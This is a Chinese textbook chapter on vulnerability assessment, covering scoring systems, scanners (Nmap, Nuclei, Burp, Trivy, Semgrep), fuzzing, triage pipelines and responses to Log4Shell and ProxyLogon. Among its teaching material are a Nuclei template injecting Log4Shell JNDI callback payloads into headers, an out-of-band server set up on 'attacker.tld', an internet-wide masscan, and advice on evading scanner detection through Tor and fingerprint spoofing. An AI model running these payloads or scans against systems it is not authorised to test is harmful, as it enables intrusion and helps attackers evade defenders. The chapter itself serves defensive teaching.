第 7 章 漏洞评估与扫描
7.1 学习目标
- 理解漏洞 (Vulnerability) 在整个安全生命周期中的位置:发现 → 评估 → 优先级 → 修复 → 验证。
- 掌握漏洞标识体系:CVE、CWE、CPE、CVSS v3.1/v4、EPSS、CISA KEV。
- 会用主流工具(Nmap、Nuclei、Nessus、OpenVAS、Burp、ZAP、Trivy、Lynis、Semgrep)做对应层次的扫描。
- 理解 SAST / DAST / IAST / SCA / IAC 的工作原理与适用边界。
- 能搭建一条最小可行的”漏洞管理流水线”:扫描 → 去重 → 关联 → 计分 → 票据 → 验证关闭。
- 复盘 Log4Shell、Spring4Shell、ProxyLogon 大规模扫描的真实工程实践。
能力矩阵:
| 能力域 | 入门 | 进阶 | 精通 |
|---|---|---|---|
| 工具 | nmap + nuclei | 自写 NSE / Nuclei 模板 | 写 Burp 插件 / Semgrep 规则 |
| 评估 | 跟随 CVSS 分数 | 结合 EPSS / KEV 推优先级 | 业务上下文驱动定级 |
| 流水线 | 单工具一次性扫 | CI/CD 集成 + 票据 | 资产 + 漏洞 + 控制项三位一体 |
7.2 漏洞标识体系
7.2.1 CVE:编号
CVE = Common Vulnerabilities and Exposures,由 MITRE 维护,每个公开的具体漏洞分配唯一编号 CVE-YYYY-NNNNN。
- 申请:通过 CNA(CVE Numbering Authority);常见 CNA 包括 MITRE、GitHub、Microsoft、Red Hat、Cisco
- 不同的 CVE 不一定不同的根因;同一漏洞可能因平台不同被分配多个 CVE
7.2.2 CWE:弱点分类
CWE = Common Weakness Enumeration,对类型做分类,例如:
| CWE | 名称 |
|---|---|
| CWE-79 | XSS |
| CWE-89 | SQL Injection |
| CWE-22 | Path Traversal |
| CWE-352 | CSRF |
| CWE-787 | Out-of-bounds Write |
| CWE-416 | Use After Free |
| CWE-918 | SSRF |
| CWE-94 | Code Injection |
| CWE-200 | Information Exposure |
| CWE-287 | Improper Authentication |
CWE Top 25 每年更新一次,给出最常见弱点排序。
7.2.3 CPE:受影响产品标识
CPE = Common Platform Enumeration,用统一字符串描述软件版本,便于映射 CVE 到资产清单:
cpe:2.3:a:apache:log4j:2.14.1:*:*:*:*:*:*:* │ │ │ │ │ │ │ │ │ └─ version │ │ │ └─ product │ │ └─ vendor │ └─ part: a=application, h=hardware, o=os └─ schema version7.2.4 CVSS v3.1:评分
CVSS = Common Vulnerability Scoring System,0.0–10.0。
Base Score 输入向量
AV: Attack Vector (Network/Adjacent/Local/Physical)AC: Attack Complexity (Low/High)PR: Privileges Required (None/Low/High)UI: User Interaction (None/Required)S : Scope (Unchanged/Changed)C : Confidentiality (None/Low/High)I : Integrity (None/Low/High)A : Availability (None/Low/High)计算流程(简化)
ISC_Base = 1 - (1-Cᵥ)(1-Iᵥ)(1-Aᵥ)ISC = Scope==Unchanged ? 6.42·ISC_Base : 7.52·(ISC_Base-0.029) - 3.25·(ISC_Base-0.02)¹⁵Exp = 8.22·AVᵥ·ACᵥ·PRᵥ·UIᵥ若 ISC ≤ 0:Base = 0若 Scope==U:Base = roundup(min(ISC + Exp, 10))若 Scope==C:Base = roundup(min(1.08·(ISC + Exp), 10))严重等级
| 区间 | 等级 |
|---|---|
| 0.1 – 3.9 | Low |
| 4.0 – 6.9 | Medium |
| 7.0 – 8.9 | High |
| 9.0 – 10.0 | Critical |
Temporal / Environmental
- Temporal:考虑公开利用代码、补丁可用性
- Environmental:根据组织自身资产的 CIA 重要性调整
7.2.5 CVSS v4.0 主要变化(2023 发布)
- 新增 Threat metrics(取代 Temporal):Exploit Maturity(X / Attacked / PoC / Unreported)
- 新增 Supplemental metrics:Safety、Automatable、Recovery
- Base Metrics 拆分漏洞影响与后续系统影响两套
- 评分公式更加非线性,反映”链式利用”
7.2.6 EPSS:被利用概率
EPSS = Exploit Prediction Scoring System (FIRST.org)。基于历史实测数据 + 漏洞特征训练的逻辑回归模型,输出 未来 30 天内被实际利用的概率 (0–1)。
- 优势:和实战相关性远高于纯 CVSS
- 来源特征:CVE 描述、CWE、CPE、Metasploit 模块、社交媒体提及、CISA KEV
高 EPSS(>0.5)+ 中 CVSS(6.x) → 可能比 高 CVSS + 低 EPSS 更紧急7.2.7 CISA KEV:已知被实际利用的漏洞
CISA Known Exploited Vulnerabilities Catalog 每周更新;进入 KEV 的漏洞在美联邦机构有强制修复期限。 安全运营:把 KEV 列表作为 SLA 的高优先级输入。
7.2.8 漏洞优先级三件套(推荐打分)
priority_score = 0.4 · CVSS_Env / 10 + 0.4 · EPSS + 0.2 · KEV_flag + 业务权重 (asset_criticality)7.3 漏洞扫描分层模型
┌─────────────────────────────────────────────────────────┐│ 业务层 / SaaS / 第三方 API │├─────────────────────────────────────────────────────────┤│ 应用层:Web / Mobile / 桌面(DAST、Burp、ZAP) │├─────────────────────────────────────────────────────────┤│ 代码层:源码(SAST:Semgrep、CodeQL、SonarQube) ││ 依赖(SCA:Trivy、Dependabot、OSV-Scanner) ││ IaC(Checkov、tfsec、kics) │├─────────────────────────────────────────────────────────┤│ 容器 / 镜像:Trivy、Grype、Anchore │├─────────────────────────────────────────────────────────┤│ 主机层:Lynis、CIS Benchmark、Tenable Nessus、OpenSCAP │├─────────────────────────────────────────────────────────┤│ 网络层:Nmap、Masscan、Nessus 网络扫描、Nuclei │└─────────────────────────────────────────────────────────┘每一层有专属工具与盲区,必须组合使用,单一工具不可能”全面”。
7.4 网络扫描
7.4.1 Nmap 内部原理
TCP SYN 扫描(半开放)
Attacker ── SYN ─────► Target (端口开) ◄─ SYN/ACK ── ── RST ──────► (不完成三次握手 → 不进 logs)Attacker ── SYN ─────► Target (端口关) ◄─ RST/ACK ──Connect 扫描
完整 connect(),留 log;无需 root;适合不能 raw socket 的场景。
UDP 扫描
不可靠(无握手),常用 ICMP Port Unreachable 反推:
- 收到 ICMP unreachable → closed
- 无响应 → open|filtered
- 收到 UDP 响应 → open
NSE (Nmap Scripting Engine)
NSE 用 Lua 脚本扩展,按 phase 触发:
| Phase | 触发时机 |
|---|---|
prerule | 主扫描前 |
hostrule | 主机存活后 |
portrule | 端口判定后 |
postrule | 主扫描后 |
nmap -sV --script=vuln target # 漏洞类nmap --script=ssl-enum-ciphers -p443 t # TLS 评估nmap --script=smb-vuln* -p445 t # SMB 漏洞ls /usr/share/nmap/scripts/ | wc -l # 600+ 脚本OS 指纹
Nmap 维护 nmap-os-db 指纹库;通过比对:
- TCP ISN 增长方式
- TCP 选项顺序与值
- ICMP 响应特征
- 带 SYN 的 TCP option 包应答 hash
7.4.2 Masscan:极速扫描
无状态发包(按速率而非连接),单台可达 millions pps:
masscan 0.0.0.0/0 -p443 --rate=100000 --excludefile rfc1918.txt -oG out.txt工作流:先 masscan 找开放端口 → nmap 精扫 banner / 服务。
7.4.3 Nessus / OpenVAS
商业 / 开源主机网络扫描器。
- 插件式(NASL 语言)
- 凭证扫描(带 SSH/SMB 凭证 → 直接读软件版本,更准)
- 合规扫描(CIS / DISA STIG)
- 输出 XML / CSV / HTML,可对接 SIEM
NASL 示例
include('http_func.inc');http_check_remote_code({port: get_http_port(default:80), match: "Apache/2.4.49"});if (description) { script_id(900001); script_name(english:"Apache 2.4.49 path traversal"); script_summary(english:"Detects vulnerable version"); script_category(ACT_GATHER_INFO); script_family(english:"Web Servers"); exit(0);}7.4.4 Nuclei:模板化扫描
ProjectDiscovery 出品,YAML 模板,覆盖 7000+ CVE / misconfig。
# nuclei-templates/cves/2021/CVE-2021-44228.yaml(简化)id: CVE-2021-44228
info: name: Apache Log4j RCE severity: critical classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-502
http: - method: GET path: - "{{BaseURL}}" headers: User-Agent: '${jndi:ldap://{{interactsh-url}}/x}' Referer: '${jndi:ldap://{{interactsh-url}}/x}' X-Api-Version: '${jndi:ldap://{{interactsh-url}}/x}' matchers-condition: and matchers: - type: word part: interactsh_protocol words: ['dns', 'ldap']运行
nuclei -u https://target.com -severity critical,highnuclei -l live.txt -t cves/ -o nuclei.json -jnuclei -t custom-template.yaml -l targets.txt -rate-limit 100Interactsh
ProjectDiscovery 自托管 OOB 服务(DNS/HTTP/LDAP),用于盲打回连验证。可自建:
interactsh-server -domain attacker.tldinteractsh-client -url https://attacker.tld7.4.5 Cobalt Strike / Metasploit 集成
nmap -oX nmap.xml target→db_import nmap.xml(msfconsole) →vulns -p自动关联模块- 蓝队建议屏蔽常见扫描特征(SYN 速率、特定 fingerprint)
7.5 应用层扫描(Web DAST)
7.5.1 工作流
URL / API spec │ ▼被动爬虫(解析 HTML / JS / sitemap) │ ▼DOM 解析 + 表单提取 + GraphQL/OpenAPI 导入 │ ▼主动 payload 注入 │ ├── SQLi / NoSQLi │ ├── XSS(多上下文) │ ├── SSRF / SSTI / XXE │ ├── Open Redirect │ ├── Path Traversal │ ├── Auth bypass / IDOR │ └── 业务逻辑(弱 fuzz) ▼响应差分(基线 + 突变) │ ▼告警 + 人工 triage7.5.2 Burp Suite
关键模块
- Proxy:抓包改包
- Repeater:手工重放
- Intruder:参数爆破(4 种攻击模式)
- Scanner (Pro):被动 + 主动扫描
- Decoder / Comparer / Sequencer
- Collaborator:自托管 OOB
- Extender:JS 引擎或 Java 插件
高频技巧
Match and Replace:批量改 cookie / headerSession handling rule:登录态自动维护Macro:抓”获取 CSRF token”流程,自动重放Hackvertor:自定义编码 / 解码 / 加密Logger++:精细日志过滤
7.5.3 OWASP ZAP
开源替代,主要模块同 Burp。亮点:
- 自动化 API(Daemon 模式 + REST)→ CI 友好
- ZAP Heads-Up Display 在浏览器侧栏
- DAST CLI:
zap-cli quick-scan -s xss,sqli https://t/
7.5.4 现代 API 扫描
挑战:传统爬虫无法遍历 SPA / GraphQL / gRPC。
策略:
- 拿到 OpenAPI / Postman Collection → 强制 schema 化扫描
- GraphQL:开启 introspection 时直接拉 schema → graphql-cop
- gRPC:用 reflection 或 .proto → ghz / grpc_cli
7.5.5 业务逻辑漏洞 — DAST 的盲区
逻辑漏洞往往无固定 payload,需要:
- 状态机建模(Burp 的 logic-checker / IAST 工具)
- “竞态” 单包多请求(PortSwigger 的 Single Packet Attack)
- 人工对每个端点”想象 5 种意外用法”
7.6 SAST / SCA / IAST / IaC 扫描
7.6.1 SAST:源码静态分析
主流工具
| 工具 | 语言 | 引擎 |
|---|---|---|
| Semgrep | 30+ | 模式匹配 + dataflow,规则简单可扩展 |
| CodeQL | 7+ | 把代码转为关系数据库,用 QL 写查询 |
| SonarQube | 30+ | AST + rule,开源 + 商业 |
| Checkmarx | 商业 | AST + dataflow |
| Coverity | 商业 | 控制流 / 符号执行 |
| Pylint / Bandit | Python | 轻量 |
| Brakeman | Ruby on Rails | 偏符号执行 |
| gosec | Go | 简单规则匹配 |
Semgrep 规则示例
rules: - id: java-runtime-exec-tainted languages: [java] severity: ERROR message: Runtime.exec on tainted input mode: taint pattern-sources: - patterns: - pattern-either: - pattern: $REQ.getParameter(...) - pattern: $REQ.getHeader(...) pattern-sinks: - pattern: Runtime.getRuntime().exec($X) pattern-sanitizers: - pattern: Pattern.compile(...).matcher($X).matches()CodeQL 工作流
codeql database create db --language=javascript --source-root=.codeql database analyze db codeql/javascript-queries \ --format=sarifv2.1.0 --output=results.sarif7.6.2 SCA:第三方依赖
工具
| 工具 | 范围 |
|---|---|
| Trivy | 镜像 + 文件系统 + Go/Java/Node 依赖 |
| Grype | 类似 Trivy,Anchore 出品 |
| OSV-Scanner | Google OSV.dev 后端 |
| Dependabot | GitHub 集成自动 PR |
| Renovate | 类似 Dependabot,可自托管 |
| Snyk | 商业 |
trivy image alpine:3.10trivy fs --scanners vuln,secret,config .osv-scanner scan -r .SBOM(Software Bill of Materials)
格式:
- CycloneDX(OWASP)
- SPDX(Linux Foundation)
syft packages dir:. -o cyclonedx-json > sbom.jsongrype sbom:./sbom.json法律 / 合规(美国 EO 14028、欧盟 CRA)逐渐强制要求软件交付提供 SBOM。
7.6.3 IAST:交互式(运行时插桩)
- 在应用进程内插桩(Java agent / .NET profiler)
- 同时观察源(HTTP 请求) + 汇(SQL/exec)+ 流转
- 适合 CI 自动化测试阶段
- 工具:Contrast Security、Seeker、洋葱
7.6.4 IaC 扫描(Infrastructure-as-Code)
| 工具 | 范围 |
|---|---|
| Checkov | Terraform / CFN / K8s YAML / Helm |
| tfsec | Terraform |
| kics | 多种 IaC |
| Datree | K8s 偏好策略 |
| kube-bench | K8s CIS Benchmark |
| kube-hunter | K8s 渗透扫描 |
checkov -d . # 扫描全目录checkov -f main.tf --output sarifkube-bench run --targets master,node7.7 主机 / 容器扫描
7.7.1 Lynis
lynis audit system # 单机审计lynis audit system --pentest # 偏渗透视角lynis audit dockerfile Dockerfile # 镜像清单报告 /var/log/lynis.log,给出加固建议(含分数 hardening_index)。
7.7.2 OpenSCAP / SCAP Workbench
按 SCAP 标准(XCCDF、OVAL)进行合规扫描,常见配置:
- DISA STIG(美国国防部基线)
- CIS Benchmark
- PCI-DSS / HIPAA / 等保
oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_pci-dss \ --results-arf arf.xml --report report.html /usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml7.7.3 容器镜像
trivy image --severity HIGH,CRITICAL nginx:1.21docker scout cves nginx:1.21grype nginx:1.217.7.4 容器运行时扫描
- Falco:基于 eBPF / kernel module 检测可疑行为(容器逃逸尝试、shell 在容器里启动)
- Tracee:Aqua 出品,eBPF 专注安全事件
- Sysdig Secure:商业整套
7.8 模糊测试(Fuzzing)
7.8.1 类别
| 类别 | 例子 |
|---|---|
| 黑盒 | radamsa、boofuzz |
| 覆盖率引导 | AFL++、libFuzzer、Honggfuzz |
| 结构感知 | LibFuzzer + protobuf-mutator、AFL++ + grammar |
| 符号执行 | KLEE、angr、SymCC |
| 网络协议 | boofuzz、AFLNet |
7.8.2 AFL++ 工作流
源码 编译时插桩 (afl-clang-fast) │ ▼afl-fuzz -i seeds/ -o out/ -- ./target @@ │ ▼内部循环: 1. 选种子 2. 突变(位翻转、算术、字典、splicing) 3. 执行 + 收集分支覆盖(共享内存 bitmap) 4. 若新覆盖 → 入队列;若崩溃 → 入 crashes │ ▼classify crashes (afl-tmin / afl-cmin) │ ▼人工审计 / 自动化 triage7.8.3 libFuzzer harness
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size < 4) return 0; parse_input(data, size); return 0;}clang -fsanitize=fuzzer,address,undefined harness.c target.c -o fuzzer./fuzzer corpus/7.8.4 OSS-Fuzz
Google 维护的开源项目托管 fuzzing 平台,已发现 30,000+ bug。 对开源项目维护者:写 harness → 上传 → 7×24 自动跑。
7.9 漏洞管理流水线
7.9.1 推荐架构
┌─────────────┐ ┌──────────────┐ ┌──────────────┐│ 扫描器集群 │ →│ 数据归一化 │ →│ 资产库 (CMDB) │└─────────────┘ └──────────────┘ └──────────────┘ ↓ ┌──────────────┐ │ 漏洞库 + 去重 │ └──────┬───────┘ ↓ EPSS / KEV / 业务权重 ↓ ┌──────────────┐ │ 优先级 / SLA │ └──────┬───────┘ ↓ 票据系统 (Jira / Linear) ↓ 修复验证(重新扫描) ↓ 度量看板(Grafana)7.9.2 关键度量
- 平均检测时间 MTTD
- 平均修复时间 MTTR(按等级分)
- SLA 命中率:Critical < 7d、High < 30d、Medium < 90d
- 漏洞密度(每千行代码 / 每个资产)
- KEV 命中数与生效时间
7.9.3 工程化建议
- 资产是基础,没有干净的资产库一切都白搭
- 去重要按 (asset, port, software, CVE) 聚合
- “误报”打标签后下次自动忽略
- “修复”必须配合再次扫描验证,否则永远关不掉
- 把扫描结果同步进威胁情报平台(MISP)做关联
7.10 真实案例:大规模 CVE 应急扫描
7.10.1 Log4Shell (CVE-2021-44228)
扫描挑战
- 漏洞触发字符串可能出现在任意 HTTP 字段
- 服务端不会立即反馈,必须 OOB 验证
- 大量 Java 应用是间接依赖(嵌套 fat jar)
扫描思路
- 网络层:Nuclei 模板 + Interactsh,对所有 URL 注入
${jndi:...}到 Header / Body / Cookie - 主机层:在每台 JVM 进程上扫
log4j-core-*.jar,比较版本 - 依赖层:用 SBOM / Trivy 扫所有镜像与制品
- 被动:DNS 流量监控
${jndi:字串通过 DNS 反向查询
缓解措施分层
- 临时缓解:
-Dlog4j2.formatMsgNoLookups=true - 文件级:删
JndiLookup.class类 - 升级:log4j-core 2.17.1+
- 网络级:WAF 拦截
${jndi:、${${::-j}ndi:等变形
7.10.2 Spring4Shell (CVE-2022-22965)
- 仅在 JDK 9+ 且 Tomcat WAR 部署中可触发
- 扫描必须组合多个条件:JDK 版本 + Spring Beans 版本 + Tomcat
- Nuclei 模板:尝试改 Tomcat AccessLog 写 JSP,再访问
- 误报多:需配合资产清单做交叉验证
7.10.3 ProxyLogon (CVE-2021-26855 + 26857 + 26858 + 27065)
链式利用 Exchange,扫描方式:
- HTTP /owa/auth/x.js Cookie 异常
- /aspnet_client/system_web/*.aspx webshell 残留
- 微软发布过 IOC + 检测脚本(Test-ProxyLogon.ps1)
7.10.4 CitrixBleed (CVE-2023-4966)
NetScaler / Gateway 内存泄露 → 偷会话 token 绕过 MFA。 扫描思路:发送特定 HTTP 请求看是否长响应;蓝队检测:异常 cookie session 出现新地理位置。
7.11 自研脚本:vuln-triage.py
#!/usr/bin/env python3"""根据 CVSS + EPSS + KEV + 业务权重打分,输出修复优先级。"""
import csv, json, sys, requestsfrom pathlib import Path
KEV_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"EPSS_URL = "https://api.first.org/data/v1/epss?cve={}"
def fetch_kev(): r = requests.get(KEV_URL, timeout=30) return {x['cveID']: x for x in r.json().get('vulnerabilities', [])}
def fetch_epss(cve): try: r = requests.get(EPSS_URL.format(cve), timeout=10).json() if r.get('data'): return float(r['data'][0]['epss']) except Exception: pass return 0.0
def score(cvss, epss, kev_flag, asset_crit): return round(0.4*cvss/10 + 0.4*epss + 0.2*kev_flag + 0.2*asset_crit, 4)
def main(): in_csv = Path(sys.argv[1]) # CVE,asset_id,cvss,asset_crit kev = fetch_kev() out = [] with in_csv.open() as f: for row in csv.DictReader(f): cve = row['CVE'] cvss = float(row['cvss']) crit = float(row.get('asset_crit', 0.5)) epss = fetch_epss(cve) kev_flag = 1 if cve in kev else 0 s = score(cvss, epss, kev_flag, crit) out.append({**row, 'epss': epss, 'kev': kev_flag, 'score': s}) out.sort(key=lambda x: x['score'], reverse=True) with open('triage.json', 'w') as f: json.dump(out, f, indent=2) for o in out[:20]: print(f"{o['CVE']:<18} {o['asset_id']:<20} score={o['score']}")
if __name__ == "__main__": main()输入 vulns.csv:
CVE,asset_id,cvss,asset_critCVE-2021-44228,prod-app-01,10.0,1.0CVE-2023-4966,gateway-02,9.4,0.9CVE-2024-3094,build-01,10.0,0.9输出按 score 倒序,配合 SLA 推动修复。
7.12 防御视角:扫描噪音治理
7.12.1 抗扫描手段
- WAF / Rate limiting:识别 nuclei UA、JA3
- Honeypot:cowrie、t-pot
- IDS:Suricata + ET Open Rules
- DNS 异常监控(如 OOB 回连域名)
- 反 Recon:fingerprint 干扰、虚假错误页
7.12.2 自家攻击面管理 ASM
- 持续资产发现(合规、影子 IT)
- 持续配置漂移监测
- 持续凭证泄露监控
- 持续 EDR / Patch 状态对账
7.12.3 内部 Bug Bounty / 内部 SRC
- 鼓励员工与外部研究员负责任披露
- HackerOne / 火线 / 漏洞银行(中国) 平台搭桥
- 内部明确 RoE 与奖励机制
7.13 工程化最佳实践清单
7.13.1 CI / CD 集成
- PR 阶段:Semgrep / Trivy / Checkov,结果作为 PR 注释 + 阻断红线
- Build 阶段:SBOM 生成 + 签名 (Sigstore / cosign)
- Deploy 阶段:镜像准入 (OPA / Kyverno) 拒绝高危镜像
- Runtime:Falco / Tracee 检测异常行为
7.13.2 选型决策矩阵
| 场景 | 推荐 |
|---|---|
| Web SPA / API 黑盒 | Burp + ZAP + Nuclei |
| 内网网络资产摸底 | Nmap + Nessus + Nuclei |
| 第三方依赖 | Trivy / Grype + OSV-Scanner + Renovate |
| 源码安全 | Semgrep(快速)+ CodeQL(深入) |
| 容器 | Trivy + Falco |
| K8s | Checkov + kube-bench + kube-hunter |
| 云资产 | Prowler + ScoutSuite + CloudSploit |
7.13.3 Anti-pattern
- 把 Nessus 报告原样发给开发:噪音 / 误报让开发心累
- 全靠 SAST 不做 DAST:业务逻辑 / 配置类漏洞漏掉
- 修一个 CVE 不验证:影子复活
- KPI 只看”修了多少”不看”修了什么”:HIGH / Critical 命中才是关键
7.14 练习题
- 给定某资产 CVSS = 7.5,EPSS = 0.8,KEV = True,业务权重 0.6。按本章公式打分?
- 写一个 Nuclei 模板:检测 GitLab
/explore/projects/topics(公开实例)的 sensitivecommit_email字段泄露。 - 编写 Semgrep 规则:检测 Python
requests.get(url, verify=False)的滥用。 - 设计一份”CI 阻断阈值”策略:什么样的扫描结果应该 fail PR?
- 当 SAST 与 DAST 同一漏洞冲突告警时,如何统一去重?
- 用 Trivy 扫一个 Docker 镜像,分析它的 base image 中默认安装包占了多少 vulnerabilities。
- 设计一个 SBOM 流水线:从代码 → 制品 → 部署的全链路。
- 解释 EPSS 与 CVSS 的差异,并举例说明哪种情形下 EPSS 更重要。
- 写一个脚本:读 CISA KEV JSON → 与本地资产清单交叉,输出”必须 7 天内修”列表。
- 漏洞扫描器为什么不能完全代替人工渗透测试?至少给出 3 条原因。
参考答案要点
0.4·0.75 + 0.4·0.8 + 0.2·1 + 0.2·0.6 = 0.3 + 0.32 + 0.2 + 0.12 = 0.94→ 极高优先级pattern: requests.get(..., verify=False, ...)+ 严重级- CVSS 反映理论严重度;EPSS 反映被实际利用概率;广义 0day 高 CVSS 但低 EPSS。
7.15 面试高频考点(附参考答案)
Q1:CVSS v3.1 的 Scope 改变意味着什么?
- 表示一个组件的漏洞影响超出其安全权限边界(如沙盒逃逸、容器逃逸、Hypervisor 逃逸)。
Q2:为什么 EPSS 对运营更友好?
- CVSS 是静态严重度;EPSS 反映被利用的现实概率,30 天滚动训练,能”动态”提高效率。
Q3:SAST 和 DAST 的核心区别?
- SAST 看代码(无运行环境,覆盖路径全);DAST 看运行行为(覆盖配置、运行时)。组合互补。
Q4:为什么 SCA 这么重要?
- 现代应用 70%+ 是第三方依赖;Log4Shell、Spring4Shell、xz-utils 都属于 SCA 范畴;零信任供应链趋势。
Q5:Nessus 凭证扫描比无凭证扫描准在哪里?
- 凭证可登录目标,直接读
/var/log与软件版本信息;无凭证只能凭 banner 推断。
Q6:Nuclei 与 Burp 的定位差异?
- Nuclei 大规模批量、模板驱动、广度优先;Burp 单点深入、人机协作、深度优先。
Q7:你怎么处理”扫描漏洞 1000 个,但只能修 50 个”?
- 用 EPSS / KEV / 业务权重打分,关注 KEV + 高 EPSS + 业务核心;其余按 SLA 排期;不能修的标接受风险并签字。
Q8:SBOM 里最关键的字段?
name、version、hash(如 PURL)、license、supplier、依赖关系;可与 OSV / NVD 关联识别风险。
Q9:Fuzzing 和扫描的区别?
- 扫描以”已知”漏洞特征匹配;Fuzzing 找未知漏洞(随机/突变输入触发崩溃)。
Q10:怎么衡量漏洞管理团队 KPI?
- MTTR / SLA 命中率 / KEV 修复及时率 / 重复出现率 / 资产覆盖率,而不是”修了多少”。
7.16 延伸阅读
教材
- 《The Vulnerability Researcher’s Handbook》Benjamin Strout
- 《The Web Application Hacker’s Handbook》(Burp 部分)
- 《Practical Vulnerability Management》Andrew Magnusson
- NIST SP 800-115《Technical Guide to Information Security Testing and Assessment》
- NIST SP 800-30《Risk Assessments》
参考资料
- NVD:https://nvd.nist.gov/
- CWE:https://cwe.mitre.org/
- CISA KEV:https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- EPSS:https://www.first.org/epss
- ProjectDiscovery 文档:https://docs.projectdiscovery.io/
- OWASP WSTG(Web Security Testing Guide)
- OWASP ASVS(Application Security Verification Standard)
报告 / 论文
- Verizon DBIR 年度报告
- M-Trends 年度报告
- SANS Top 25 Software Errors
- OWASP State of DevSecOps
7.17 补充:威胁情报与漏洞情报联动
7.17.1 威胁情报源
- OSINT:CISA、JPCERT、CN-CERT、NVD
- 商业:Recorded Future、Mandiant、CrowdStrike、奇安信、绿盟
- 社区:Exploit-DB、PacketStorm、GitHub
awesome-cve-poc - 暗网:Flashpoint、IntSights(合规渠道)
7.17.2 MISP 集成
MISP(Malware Information Sharing Platform)开源威胁情报平台。 工作流:
- 接入多个 feed(CIRCL、AbuseCH、自家 honeypot)
- 自动归并 IOC(IP / Hash / Domain / CVE)
- 与 SIEM、防火墙、EDR 双向同步
- 支持 STIX 2.1 / TAXII
7.17.3 漏洞情报触发应急
高级 IOC 命中 + KEV 收录 + 资产覆盖 │ ▼30 分钟内通报 SOC 经理 │ ▼临时缓解(WAF / Egress / 关停) │ ▼24 小时内出补丁计划 │ ▼72 小时内全量修复或风险接受7.18 补充:扫描器对抗与隐蔽
7.18.1 频控与速率
- WAF / IPS 对单 IP 高频请求触发拦截
- Burp Throttle / Nuclei
-rate-limit/ Masscan 可调 - 分布式扫描:通过云函数 / 多 VPS / Tor 出口
7.18.2 UA 与指纹伪装
- Nuclei 可定制
Header:避免默认Nuclei/v3UA httpx -random-agent- 客户端 hello 重写(utls / mitm)
7.18.3 检测端反制
- 异常 UA + JA3 关联告警
- 蜜罐路径触发告警(如
/admin/.git/config) - 蜜罐 webshell(cowrie 类)
- 出站 RST 注入(防扫描器拿到 banner)
7.18.4 紫队演练验证扫描覆盖
Atomic Red Team T1190 (Exploit Public-Facing Application) ├── 模拟扫描行为 ▼SOC 是否产生告警?告警时间? ▼WAF / IPS 是否拦截? ▼扫描结果 vs 真实漏洞清单 → 差距分析7.19 补充:合规与审计视角
7.19.1 PCI-DSS 4.0 关键要求
- Req 11.3:内 / 外部漏扫每季度,重大变更后再扫
- Req 11.3.2:外扫由 ASV(Approved Scanning Vendor)执行
- Req 6.3:Bug Tracking 与修复 SLA
7.19.2 ISO 27001 / 等保 2.0
- 等保 2.0 三级以上要求:定期漏扫 + 风险评估 + 整改证据
- 审计材料:扫描报告、复测报告、修复工单、闭环证据
7.19.3 美国 EO 14028 / SBOM
- 联邦政府供应商必须提供 SBOM
- 漏洞披露要求 (VDP) 强制
- 软件供应链(SLSA Level 2+)
7.19.4 GDPR 与漏洞披露
- 数据泄露 72 小时内通报 DPA(数据保护机构)
- 漏洞导致数据泄露需评估”可能伤害”
- 用户通知义务
7.20 小结
漏洞评估不是”跑个扫描器”那么简单:
- 多层次:网络、主机、镜像、代码、依赖、IaC、云配置
- 多维度评分:CVSS(理论)+ EPSS(概率)+ KEV(事实)+ 业务(环境)
- 流水线化:扫描 → 去重 → 评分 → 票据 → 修复 → 验证
- 工程化思维:度量 / 自动化 / 可重复 / 可审计
下一章(Ch08)将进入”渗透测试方法论”,把扫描发现的弱点串成完整攻击链。
与其他章节的接口
- ← Ch06:OSINT 给资产范围;扫描的输入
- → Ch08:扫描发现是渗透链路的”入口候选”
- → Ch11:扫描结果是 SOC 检测有效性的对照基准
- → Ch12:云资产 / IaC 扫描在那里继续展开
补充检查表
- 我能给出一个项目从 PR 到 Deploy 的完整 DevSecOps 工具链
- 我能解释 Nuclei、Nessus、Burp 的工作原理与各自盲区
- 我能写自定义 Semgrep / Nuclei 模板用于私有代码 / 资产
- 我能用 EPSS + KEV + 业务权重打分,输出修复优先级
- 我能搭建一条最小可行的 SBOM → 风险监控 流水线
如全部勾上,进入 Ch08;否则回到对应小节再做实践。
如果這篇文章對你有幫助,歡迎分享給更多人!
部分資訊可能已經過時





















